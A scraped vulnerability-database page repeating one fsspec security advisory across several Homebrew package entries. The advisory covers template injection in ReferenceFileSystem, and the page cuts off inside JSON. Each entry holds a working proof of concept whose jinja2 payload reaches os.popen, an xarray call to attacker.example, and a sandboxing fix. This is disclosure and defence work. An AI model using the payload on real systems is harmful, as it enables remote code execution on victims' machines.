In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "fsspec",
"resource_purl": "pkg:pypi/fsspec@2026.9.0",
"upstream_fixed_in": "2026.6.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "dvc",
"purl": "pkg:brew/dvc"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.18"
},
{
"fixed": "3.67.1_8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/fsspec@2026.9.0",
"name": "fsspec",
"resource": "fsspec",
"strategy": "registry",
"subject_version": "2026.9.0"
}
]
},
"details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n return jinja2.Template(u).render(**self.templates) # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n ...\n for k, v in tmp.items():\n if \"{{\" in v:\n import jinja2\n self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n temp # \u003c- unsandboxed\n ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n ...\n for pr in products:\n import jinja2\n key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n if (\"offset\" in gen) and (\"length\" in gen):\n offset = int(jinja2.Template(gen[\"offset\"]).render(...)) # \u003c- unsandboxed\n length = int(jinja2.Template(gen[\"length\"]).render(...)) # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n \"gen\": [{\n \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.end_headers(); self.wfile.write(body)\n def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n \"reference://\",\n engine=\"zarr\",\n backend_kwargs={\n \"consolidated\": False,\n \"storage_options\": {\n \"fo\": \"http://attacker.example/refs.json\",\n \"remote_protocol\": \"http\",\n },\n },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n import jinja2.sandbox\n env = getattr(_sandboxed_env, \"_env\", None)\n if env is None:\n env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n _sandboxed_env._env = env\n return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
"id": "BREW-dvc-CVE-2026-104851",
"modified": "2026-10-06T04:48:32Z",
"published": "2026-10-06T04:48:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2029"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2039"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/fsspec/filesystem_spec"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution",
"upstream": [
"GHSA-27vj-qcqg-25rc",
"CVE-2026-104851"
]
}
BREW-MLX-LM-CVE-2026-104851 (GHSA-27VJ-QCQG-25RC)
Vulnerability from osv_homebrew – Published: 2026-10-05 23:18 – Updated: 2026-10-05 23:18 – Source websiteSummary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
A — _process_references1._render_jinja |
lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B — _process_templates (lambda) |
lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C — _process_gen |
lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
- A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "fsspec",
"resource_purl": "pkg:pypi/fsspec@2026.9.0",
"upstream_fixed_in": "2026.6.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "mlx-lm",
"purl": "pkg:brew/mlx-lm"
},
"ranges": [
{
"events": [
{
"introduced": "0.28.1"
},
{
"fixed": "0.31.3_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/fsspec@2026.9.0",
"name": "fsspec",
"resource": "fsspec",
"strategy": "registry",
"subject_version": "2026.9.0"
}
]
},
"details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n return jinja2.Template(u).render(**self.templates) # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n ...\n for k, v in tmp.items():\n if \"{{\" in v:\n import jinja2\n self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n temp # \u003c- unsandboxed\n ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n ...\n for pr in products:\n import jinja2\n key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n if (\"offset\" in gen) and (\"length\" in gen):\n offset = int(jinja2.Template(gen[\"offset\"]).render(...)) # \u003c- unsandboxed\n length = int(jinja2.Template(gen[\"length\"]).render(...)) # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n \"gen\": [{\n \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.end_headers(); self.wfile.write(body)\n def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n \"reference://\",\n engine=\"zarr\",\n backend_kwargs={\n \"consolidated\": False,\n \"storage_options\": {\n \"fo\": \"http://attacker.example/refs.json\",\n \"remote_protocol\": \"http\",\n },\n },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n import jinja2.sandbox\n env = getattr(_sandboxed_env, \"_env\", None)\n if env is None:\n env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n _sandboxed_env._env = env\n return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
"id": "BREW-mlx-lm-CVE-2026-104851",
"modified": "2026-10-05T23:18:28Z",
"published": "2026-10-05T23:18:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2029"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2039"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/fsspec/filesystem_spec"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution",
"upstream": [
"GHSA-27vj-qcqg-25rc",
"CVE-2026-104851"
]
}
BREW-OTERM-CVE-2026-104851 (GHSA-27VJ-QCQG-25RC)
Vulnerability from osv_homebrew – Published: 2026-10-06 09:30 – Updated: 2026-10-06 09:30 – Source websiteSummary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
A — _process_references1._render_jinja |
lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B — _process_templates (lambda) |
lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C — _process_gen |
lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
- A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "fsspec",
"resource_purl": "pkg:pypi/fsspec@2026.9.0",
"upstream_fixed_in": "2026.6.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "oterm",
"purl": "pkg:brew/oterm"
},
"ranges": [
{
"events": [
{
"introduced": "0.15.0"
},
{
"fixed": "0.19.0_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/fsspec@2026.9.0",
"name": "fsspec",
"resource": "fsspec",
"strategy": "registry",
"subject_version": "2026.9.0"
}
]
},
"details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n return jinja2.Template(u).render(**self.templates) # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n ...\n for k, v in tmp.items():\n if \"{{\" 